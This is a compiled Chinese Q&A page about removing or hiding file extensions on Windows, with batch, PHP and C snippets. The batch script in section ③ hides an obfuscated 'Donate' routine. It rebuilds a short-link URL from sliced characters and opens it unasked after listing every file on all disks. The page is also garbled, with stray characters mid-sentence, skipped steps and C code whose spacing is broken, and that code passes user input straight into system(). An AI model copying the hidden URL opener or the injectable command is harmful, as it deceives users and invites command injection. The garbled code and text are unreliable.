① 怎樣使dir命令導出的文件名列表中不包含文件擴展名
要用for命令
參見for/?
比如在命令行
(批處理中%要寫成%%):
cd/d
"要導出的文件所在路徑如c:\aa"
for
/f
"delims="
%i
in
('dir/b')do
echo
%~ni>>A.txt
② 怎麼去掉文件後綴名
問題一:如何去掉文件格式後綴名?? 我的電腦→工具→文件夾選項→查看→選中「隱藏已知文件類型的擴展名」→確定
問題二:如何取消文件擴展名 打開文件夾 工具 文件夾選項 查看 勾選 隱藏已知的文件夾擴展名
問題三:如何去掉word 文檔中的擴展名 打開「我的電腦」-工具-文件夾選項-勾選「隱藏已知文件類型的擴展名」即可。
問題四:怎麼取消桌面上顯示的文件後綴名 打開任意一個文件夾窗口-工具-文件夾選項-查看 將隱藏以知文件的擴展名勾選,確定即可
問題五:如何批量去掉後綴名 比如要把 d:\aa 下的所有後綴為 swf 去掉後信岩綴矗
點開始\運行 輸入 cmd 確定就進到命令行輸入以下命令按Enter鍵就改好了
ren d:\aa\*.swf *.
問題六:如何取消XP系統的後綴名啊? 打開我的電腦>>工具>>文件夾選項
1.freep/...疇掃川激pg
問題七:怎樣去掉後綴(.exe) 沒那麼嚴重啦。如果是裝軟體的時候選擇了在桌面上創建一個快捷方式,那這個快捷方式一般是不會有.exe後綴名的。如果是你自己進入軟體所在的目錄,再在執行文件上右鍵電發送到桌面快捷方式,那這個快捷方式就會以該執行文件的名稱來命名。即如果執行文件是**.exe的話,快捷方式也會是**.exe。但這里的.exe就不是快捷方式的後綴名了,它只是快捷方暢名字的一部分而已。這里就算你進入文件夾選項把隱藏已知文件滑鬧御類型擴展名勾上,這個.exe也是存在的。因為它本身就是文件名的一部分。所以只要向一樓說的把這個快捷方式重命名然後把.exe直接去掉就可以了。
問題八:怎樣將TXT文件的後綴名去txt去掉? 打開我的電腦 點上面的 工具-文件夾選項-查看-隱藏後綴名,勾上就可以了~
問題九:如何刪除電腦文件的後綴名 這個是因為你沒有隱藏掉你的擴展名,因為不同的擴展名都表示不同的文件格式,如果你把一個txt為擴展名的文檔改為htm擴展名,那這個文件就變成網頁了,所以文件擴展名是很重要的
你可以通過下面的方式把文件擴展名隱藏起來
我的電梗-----工具-----文件夾選項---查看----隱藏已知文件後輟名 的前面打上勾
問題十:網路雲中怎麼刪去文件的後綴名 直接選中後,有一個更多選項,點擊後會有重命名,修改之後點彎賀擊保存即可
望採納
③ 批處理如何將遍歷到的磁碟內所有文件的路徑、後綴名、文件名(不含後綴名)寫入到a.txt中
@echo off & title 列出所有磁碟文件相關信息 By 依夢琴瑤
(for /f "tokens=2 delims==:" %%i in ('wmic LogicalDisk where "DriveType='3'" get DeviceID /value') do (
pushd "%%~i"
for /f "delims=" %%a in ('dir /a-d/s/b') do (
rem 由於Tab符會被知道伺服器強制更改成空格,所以這里我先用空格代替,請復制的過去後自行改成Tab符
echo %%~a %%~xa %%~na
)
popd
))>"%~dp0a.txt"
pause
::友情碼
call :Donate
exit
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
④ 如何讓文件不帶後綴
方法:
1.首先在桌面找到「計算機」圖標(win7是我的電腦),滑鼠左鍵雙擊打開,如下圖所示:
7.這樣在文件就不會顯示擴展名了。
⑤ 怎麼去掉文件後面的後綴名
通過批處理文件來實現批量修改文件後綴名,也可以批量添加文件擴展名。
一、查看\顯示文件擴展名
既然要修改文件的後綴名,那麼首先應該查看一下文件的擴展名。
方法1.直接選擇文件屬性,即可查看文件的類型。
方法2.如果要直接顯示文件後綴名,可以按照下面操作如下圖。
下面以Xp為例,找到開始---控制面板—文件夾選項。
3.點擊查看—找到把「隱藏已知文件夾類型的擴展名」前面那個鉤去掉然後應用。
二、修改文件後綴名\擴展名(手動修改)
已經能正常查看到文件後綴名了,如果要修改文件後綴名,擴展名很簡單。直接選擇文件,右鍵重命名。或者按住鍵盤「F2」鍵,進行修改。
這是針對當個文件的操作方法,批量修改看後面。
三、批量修改文件擴展名--案例1
把需要修改擴展名的文件都拷貝放到一個文件夾裡面,如下圖:
案例1,只是修改特定的後綴名文件。(GIF ---- JPG)
如下圖:只想修改文件後綴名的是GIF的文件改成JPG
操作步驟:
1.在當前這個文件夾下面,新建一個記事本文件。如下圖:
2.打開新建的記事本文件在裡面輸入 ren *.gif *.jpg 下面內容,如下圖:
輸入格式Ren 空格 星號 點 需要修改的文件後綴名 空格星號 點需要改成的文件後綴名。
也許有人看不懂,那簡單說明一下吧。如下圖。(注意: 在*之前有一個英文的空格 )
3 設置好之後,保存文件。同時吧這個文件改成 .bat後綴名的文件(這個非常重要)如下圖。為了好記,改成批量修改文件後綴名.bat 這個名字。
4 設置好之後,點擊運行剛剛那個BAT文件就好了。注意看現在是gif文件格式。
5 雙擊剛剛那個文件,看到沒有,文件全部變成Jpg後綴名字了。
⑥ PHP 如何 得到文件名(不要後綴名)
方法如下:
$dh = opendir($dirname);
$n = 0;
while ($file=readdir($dh)){
// $file為目錄下所有文件和文件夾,
// 需要注意默認有 .(本目錄)和..(上級目錄)這兩個特殊文件夾
if (is_file($file)){
//只處理文件
if (!strpos($file,'.')){
// 無後綴名的文件
}
$n++; // 計數
}
}
⑦ 在c語言中,怎樣去掉文件後綴名
1、去掉文件後綴名可以通過修改文件名的方式實現。要調用操作系統提供的API函數,比如Windows上的MoveFile(),也可以直接調用cmd中已提供的重命名命令——rename。下面的示例代碼,調用rename命令來重名命文件名。
2、常式:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
intmain(intac,char*pav[])
{
if(ac!=3){
printf("程序名要重命名的文件路徑新的文件名 ");
printf("示例:test.exe1.txt2.txt ");
return0;
}
if(access(pav[1],0)!=0){
printf("不存在該文件 ");
return0;
}
charszcmd[256]="cmd/crename";
strcat(szcmd,pav[1]);
strcat(szcmd,"");
strcat(szcmd,pav[2]);
system(szcmd);
return0;
}
⑧ 批處理如何提取文件位置和文件名 不包括後綴
請參考:
@echo off
set str1=C:\abc\file1.abc
call :show %str1%
echo %str2%
pause
goto :eof
:show
set str2=%~dpn1
簡要說明:對於變數%0~%9及for里使用的%i這樣的變數,可以有以下的語法:
~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
以上的結果是可以組合的。我們可以通過"%~dpn"這樣形式的組合獲取一個路徑形式的變數的路徑及文件名的組合。
在這里,首先我假設"C:\abc\file1.abc"已經在一個變數裡面,因為調用它使用的是"%%"的格式,不能擴充,所以我們需要使用call調用一段代碼來將它轉換成%1的形式。所以你看到了"call :show %str1%" 這一句,通過這里調用call標簽後的語句。
另外一個需要注意的是在被調用的":show"標簽前面是一句"goto :eof",表示批處理運行至此跳轉至文件末尾(也就是退出程序),後面的":show"標簽就不會運行了,
相信建立一個C:\abc\file1.xyz這樣形式的文件對你來說不是問題,我就不寫了